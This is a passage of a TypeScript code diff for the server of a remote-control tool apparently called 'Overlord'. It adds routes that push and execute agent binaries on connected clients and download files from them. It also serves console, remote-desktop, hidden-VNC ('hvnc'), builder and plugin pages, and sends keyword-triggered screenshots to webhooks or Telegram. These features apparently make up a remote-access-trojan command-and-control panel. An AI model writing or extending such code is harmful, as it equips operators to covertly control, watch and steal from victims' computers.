const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = deps.normalizeClientOs(target.os);
|
||||
const osMismatch =
|
||||
upload.os !== "unknown" &&
|
||||
!(
|
||||
upload.os === clientOs ||
|
||||
(upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
|
||||
);
|
||||
if (osMismatch) {
|
||||
results.push({ clientId, ok: false, reason: "os_mismatch" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const dir = clientOs === "windows"
|
||||
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
|
||||
: `/tmp/overlord/${upload.id}`;
|
||||
const destPath = clientOs === "windows"
|
||||
? `${dir}\\${upload.name}`
|
||||
: `${dir}/${upload.name}`;
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_mkdir",
|
||||
id: uuidv4(),
|
||||
payload: { path: dir },
|
||||
}),
|
||||
);
|
||||
|
||||
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
|
||||
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, data: chunk, offset, total: bytes.length },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
if (clientOs !== "windows") {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_chmod",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, mode: "0755" },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "agent_update",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("agent_update");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.AGENT_UPDATE,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ uploadId, path: destPath }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { logger } from "../../logger";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type PendingHttpDownload = {
|
||||
commandId: string;
|
||||
clientId: string;
|
||||
path: string;
|
||||
fileName: string;
|
||||
total: number;
|
||||
receivedBytes: number;
|
||||
receivedOffsets: Set<number>;
|
||||
receivedChunks: Set<number>;
|
||||
chunkSize: number;
|
||||
expectedChunks: number;
|
||||
loggedTotal?: boolean;
|
||||
loggedFirstChunk?: boolean;
|
||||
tmpPath: string;
|
||||
fileHandle: any;
|
||||
resolve: (entry: PendingHttpDownload) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
};
|
||||
|
||||
type DownloadIntent = {
|
||||
id: string;
|
||||
userId: string;
|
||||
clientId: string;
|
||||
path: string;
|
||||
expiresAt: number;
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
};
|
||||
|
||||
type FileDownloadRouteDeps = {
|
||||
DATA_DIR: string;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
pendingHttpDownloads: Map<string, PendingHttpDownload>;
|
||||
downloadIntents: Map<string, DownloadIntent>;
|
||||
};
|
||||
|
||||
export async function handleFileDownloadRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: FileDownloadRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/file/download")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/file/download") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const downloadId = typeof body?.downloadId === "string" ? body.downloadId : "";
|
||||
logger.debug("[filebrowser] http download request", {
|
||||
downloadId,
|
||||
userId: user.userId,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
});
|
||||
if (!downloadId) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const intent = deps.downloadIntents.get(downloadId);
|
||||
if (!intent || intent.userId !== user.userId || intent.expiresAt < Date.now()) {
|
||||
logger.debug("[filebrowser] http download intent missing", {
|
||||
downloadId,
|
||||
userId: user.userId,
|
||||
intentUserId: intent?.userId,
|
||||
expiresAt: intent?.expiresAt,
|
||||
});
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
deps.downloadIntents.delete(downloadId);
|
||||
clearTimeout(intent.timeout);
|
||||
|
||||
const clientId = intent.clientId;
|
||||
const downloadPath = intent.path;
|
||||
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
logger.debug("[filebrowser] http download target offline", {
|
||||
downloadId,
|
||||
clientId,
|
||||
});
|
||||
return new Response("Client offline", { status: 404 });
|
||||
}
|
||||
|
||||
const commandId = uuidv4();
|
||||
const downloadDir = path.join(deps.DATA_DIR, "downloads");
|
||||
await fs.mkdir(downloadDir, { recursive: true });
|
||||
const tmpPath = path.join(downloadDir, `${commandId}.bin`);
|
||||
|
||||
let fileName = path.basename(downloadPath) || "download.bin";
|
||||
try {
|
||||
fileName = deps.sanitizeOutputName(fileName);
|
||||
} catch {
|
||||
fileName = "download.bin";
|
||||
}
|
||||
|
||||
const fileHandle = await fs.open(tmpPath, "w+");
|
||||
|
||||
logger.debug("[filebrowser] http download start", {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
tmpPath,
|
||||
});
|
||||
|
||||
const downloadPromise = new Promise<PendingHttpDownload>((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingHttpDownloads.delete(commandId);
|
||||
void fileHandle.close();
|
||||
void fs.unlink(tmpPath).catch(() => {});
|
||||
reject(new Error("Download timed out"));
|
||||
}, 5 * 60_000);
|
||||
|
||||
deps.pendingHttpDownloads.set(commandId, {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
fileName,
|
||||
total: 0,
|
||||
receivedBytes: 0,
|
||||
receivedOffsets: new Set(),
|
||||
receivedChunks: new Set(),
|
||||
chunkSize: 0,
|
||||
expectedChunks: 0,
|
||||
loggedTotal: false,
|
||||
loggedFirstChunk: false,
|
||||
tmpPath,
|
||||
fileHandle,
|
||||
resolve,
|
||||
reject,
|
||||
timeout,
|
||||
});
|
||||
});
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_download",
|
||||
id: commandId,
|
||||
payload: { path: downloadPath },
|
||||
}),
|
||||
);
|
||||
|
||||
logger.debug("[filebrowser] http download command sent", {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
});
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.FILE_DOWNLOAD,
|
||||
targetClientId: clientId,
|
||||
details: JSON.stringify({ path: downloadPath, via: "http" }),
|
||||
success: true,
|
||||
});
|
||||
|
||||
let completed: PendingHttpDownload;
|
||||
try {
|
||||
completed = await downloadPromise;
|
||||
} catch (err) {
|
||||
logger.debug("[filebrowser] http download failed", {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
error: (err as Error)?.message || String(err),
|
||||
});
|
||||
return new Response((err as Error).message || "Download failed", { status: 500 });
|
||||
}
|
||||
|
||||
logger.debug("[filebrowser] http download complete", {
|
||||
commandId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
total: completed.total,
|
||||
receivedBytes: completed.receivedBytes,
|
||||
expectedChunks: completed.expectedChunks,
|
||||
receivedChunks: completed.receivedChunks.size,
|
||||
});
|
||||
|
||||
const headers = {
|
||||
...deps.secureHeaders("application/octet-stream"),
|
||||
"Content-Disposition": `attachment; filename="${completed.fileName}"`,
|
||||
"Cache-Control": "no-store",
|
||||
};
|
||||
|
||||
setTimeout(() => {
|
||||
void fs.unlink(completed.tmpPath).catch(() => {});
|
||||
}, 5 * 60_000);
|
||||
|
||||
return new Response(Bun.file(completed.tmpPath), { headers });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/file/download/request") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const clientId = typeof body?.clientId === "string" ? body.clientId : "";
|
||||
const downloadPath = typeof body?.path === "string" ? body.path : "";
|
||||
if (!clientId || !downloadPath) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
return new Response("Client offline", { status: 404 });
|
||||
}
|
||||
|
||||
const downloadId = uuidv4();
|
||||
const expiresAt = Date.now() + 2 * 60_000;
|
||||
const timeout = setTimeout(() => {
|
||||
deps.downloadIntents.delete(downloadId);
|
||||
}, 2 * 60_000);
|
||||
|
||||
deps.downloadIntents.set(downloadId, {
|
||||
id: downloadId,
|
||||
userId: user.userId,
|
||||
clientId,
|
||||
path: downloadPath,
|
||||
expiresAt,
|
||||
timeout,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, downloadId });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { getAuditLogs } from "../../auditLog";
|
||||
import { listClients } from "../../db";
|
||||
import { logger } from "../../logger";
|
||||
import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
|
||||
type MiscRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
SERVER_VERSION: string;
|
||||
getConsoleSessionCount: () => number;
|
||||
getRdSessionCount: () => number;
|
||||
getFileBrowserSessionCount: () => number;
|
||||
getProcessSessionCount: () => number;
|
||||
};
|
||||
|
||||
export async function handleMiscRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: MiscRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "GET" && url.pathname === "/api/metrics") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
const snapshot = metrics.getSnapshot();
|
||||
|
||||
const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" });
|
||||
logger.debug(
|
||||
`[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`,
|
||||
);
|
||||
logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`);
|
||||
|
||||
snapshot.clients.total = clientList.total;
|
||||
snapshot.clients.online = clientList.online;
|
||||
snapshot.clients.offline = clientList.total - clientList.online;
|
||||
|
||||
const byOS: Record<string, number> = {};
|
||||
const byCountry: Record<string, number> = {};
|
||||
const byOSOnline: Record<string, number> = {};
|
||||
const byCountryOnline: Record<string, number> = {};
|
||||
let onlineCounted = 0;
|
||||
const totalItems = clientList.items.length;
|
||||
for (const item of clientList.items) {
|
||||
if (item.os) {
|
||||
byOS[item.os] = (byOS[item.os] || 0) + 1;
|
||||
}
|
||||
if (item.country) {
|
||||
byCountry[item.country] = (byCountry[item.country] || 0) + 1;
|
||||
}
|
||||
if (!item.online) continue;
|
||||
onlineCounted++;
|
||||
if (item.os) {
|
||||
byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1;
|
||||
}
|
||||
if (item.country) {
|
||||
byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1;
|
||||
}
|
||||
}
|
||||
snapshot.clients.byOS = byOS;
|
||||
snapshot.clients.byCountry = byCountry;
|
||||
|
||||
snapshot.sessions.console = deps.getConsoleSessionCount();
|
||||
snapshot.sessions.remoteDesktop = deps.getRdSessionCount();
|
||||
snapshot.sessions.fileBrowser = deps.getFileBrowserSessionCount();
|
||||
snapshot.sessions.process = deps.getProcessSessionCount();
|
||||
|
||||
metrics.recordHistoryEntry(snapshot);
|
||||
|
||||
const history = metrics.getHistory();
|
||||
|
||||
return new Response(JSON.stringify({ snapshot, history }), {
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
if (url.pathname === "/health") {
|
||||
return new Response("ok", { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/version") {
|
||||
return new Response(JSON.stringify({ version: deps.SERVER_VERSION }), {
|
||||
headers: {
|
||||
...deps.CORS_HEADERS,
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/audit-logs") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "audit:view");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
|
||||
const pageSize = Math.max(1, Math.min(100, Number(url.searchParams.get("pageSize") || 50)));
|
||||
const targetClientId = (url.searchParams.get("clientId") || "").trim();
|
||||
const action = (url.searchParams.get("action") || "").trim();
|
||||
const actionsRaw = (url.searchParams.get("actions") || "").trim();
|
||||
const actions = actionsRaw
|
||||
? actionsRaw
|
||||
.split(",")
|
||||
.map((entry) => entry.trim())
|
||||
.filter(Boolean)
|
||||
: undefined;
|
||||
const startDate = Number(url.searchParams.get("startDate") || 0) || undefined;
|
||||
const endDate = Number(url.searchParams.get("endDate") || 0) || undefined;
|
||||
const successOnly = url.searchParams.get("successOnly") === "true";
|
||||
|
||||
const result = getAuditLogs({
|
||||
page,
|
||||
pageSize,
|
||||
targetClientId: targetClientId || undefined,
|
||||
action: action || undefined,
|
||||
actions,
|
||||
startDate,
|
||||
endDate,
|
||||
successOnly,
|
||||
});
|
||||
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { getConfig, updateNotificationsConfig } from "../../config";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type NotificationsRouteDeps = {
|
||||
getNotificationScreenshot: (notificationId: string) => { format?: string; bytes: Uint8Array } | null;
|
||||
secureHeaders: (contentType?: string) => HeadersInit;
|
||||
};
|
||||
|
||||
export async function handleNotificationsConfigRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: NotificationsRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
const screenshotMatch = url.pathname.match(/^\/api\/notifications\/([^/]+)\/screenshot$/);
|
||||
if (req.method === "GET" && screenshotMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
const notificationId = decodeURIComponent(screenshotMatch[1]);
|
||||
const screenshot = deps.getNotificationScreenshot(notificationId);
|
||||
if (!screenshot) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const format = (screenshot.format || "jpeg").toLowerCase();
|
||||
const contentType = format === "jpg" || format === "jpeg"
|
||||
? "image/jpeg"
|
||||
: format === "png"
|
||||
? "image/png"
|
||||
: format === "webp"
|
||||
? "image/webp"
|
||||
: "application/octet-stream";
|
||||
|
||||
return new Response(screenshot.bytes as unknown as BodyInit, {
|
||||
headers: deps.secureHeaders(contentType),
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/notifications/config") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewer access denied", { status: 403 });
|
||||
}
|
||||
return Response.json({ notifications: getConfig().notifications });
|
||||
}
|
||||
|
||||
if (req.method === "PUT" && url.pathname === "/api/notifications/config") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", {
|
||||
status: 403,
|
||||
});
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const currentConfig = getConfig().notifications;
|
||||
const hasKeywords = Array.isArray(body?.keywords);
|
||||
const rawKeywords = hasKeywords ? body.keywords : currentConfig.keywords || [];
|
||||
const keywords = rawKeywords
|
||||
.map((k: any) => String(k).trim())
|
||||
.filter(Boolean)
|
||||
.slice(0, 200);
|
||||
|
||||
const webhookEnabled =
|
||||
typeof body?.webhookEnabled === "boolean"
|
||||
? body.webhookEnabled
|
||||
: currentConfig.webhookEnabled;
|
||||
const webhookUrl =
|
||||
typeof body?.webhookUrl === "string"
|
||||
? body.webhookUrl.trim()
|
||||
: currentConfig.webhookUrl || "";
|
||||
const telegramEnabled =
|
||||
typeof body?.telegramEnabled === "boolean"
|
||||
? body.telegramEnabled
|
||||
: currentConfig.telegramEnabled;
|
||||
const telegramBotToken =
|
||||
typeof body?.telegramBotToken === "string"
|
||||
? body.telegramBotToken.trim()
|
||||
: currentConfig.telegramBotToken || "";
|
||||
const telegramChatId =
|
||||
typeof body?.telegramChatId === "string"
|
||||
? body.telegramChatId.trim()
|
||||
: currentConfig.telegramChatId || "";
|
||||
|
||||
if (webhookUrl) {
|
||||
try {
|
||||
const parsed = new URL(webhookUrl);
|
||||
if (!/^https?:$/.test(parsed.protocol)) {
|
||||
return Response.json(
|
||||
{ error: "Webhook URL must be http(s)" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
|
||||
}
|
||||
}
|
||||
|
||||
const updated = await updateNotificationsConfig({
|
||||
keywords,
|
||||
webhookEnabled,
|
||||
webhookUrl,
|
||||
telegramEnabled,
|
||||
telegramBotToken,
|
||||
telegramChatId,
|
||||
});
|
||||
|
||||
for (const client of clientManager.getAllClients().values()) {
|
||||
if (client.role !== "client") continue;
|
||||
try {
|
||||
client.ws.send(
|
||||
encodeMessage({
|
||||
type: "notification_config",
|
||||
keywords: updated.keywords || [],
|
||||
minIntervalMs: updated.minIntervalMs || 8000,
|
||||
}),
|
||||
);
|
||||
} catch {}
|
||||
}
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Updated notification keywords (${updated.keywords.length})`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, notifications: updated });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { getUserById } from "../../users";
|
||||
|
||||
type PageRouteDeps = {
|
||||
PUBLIC_ROOT: string;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
mimeType: (path: string) => string;
|
||||
};
|
||||
|
||||
async function serveLoginOrUnauthorized(deps: PageRouteDeps): Promise<Response> {
|
||||
const loginFile = Bun.file(`${deps.PUBLIC_ROOT}/login.html`);
|
||||
if (await loginFile.exists()) {
|
||||
return new Response(loginFile, { headers: deps.secureHeaders(deps.mimeType("/login.html")) });
|
||||
}
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
async function serveChangePasswordIfRequired(
|
||||
deps: PageRouteDeps,
|
||||
userId: number,
|
||||
): Promise<Response | null> {
|
||||
const dbUser = getUserById(userId);
|
||||
if (dbUser && dbUser.must_change_password) {
|
||||
const changePassFile = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
|
||||
if (await changePassFile.exists()) {
|
||||
return new Response(changePassFile, {
|
||||
headers: deps.secureHeaders(deps.mimeType("/change-password.html")),
|
||||
});
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export async function handlePageRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: PageRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) {
|
||||
const authed = await authenticateRequest(req);
|
||||
|
||||
if (authed) {
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
}
|
||||
|
||||
const filePath = authed ? "/index.html" : "/login.html";
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(filePath)) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/change-password.html") {
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/remotedesktop") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/hvnc") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/metrics") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/logs") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
try {
|
||||
requirePermission(user, "audit:view");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/notifications") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, {
|
||||
headers: deps.secureHeaders(deps.mimeType("notifications.html")),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/users") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/build") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/plugins") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/);
|
||||
if (req.method === "GET" && consolePageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/);
|
||||
if (req.method === "GET" && filesPageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`);
|
||||
if (await file.exists()) {
|
